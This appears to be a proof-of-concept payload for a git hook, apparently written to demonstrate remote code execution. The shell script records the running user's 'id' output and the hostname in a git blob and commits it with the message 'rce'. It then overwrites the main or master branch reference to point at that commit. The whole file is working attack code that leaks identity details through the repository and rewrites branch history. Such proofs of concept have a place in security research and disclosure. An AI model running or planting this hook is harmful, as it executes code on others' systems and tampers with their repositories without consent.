#!/bin/sh
OUTPUT="HOOK_FIRED_$(id|head -c 100)_$(hostname)_END"
BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree)
HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
if [ -n "$HEAD_SHA" ]; then
  COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce")
else
  COMMIT=$(git commit-tree "$TREE" -m "rce")
fi
git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null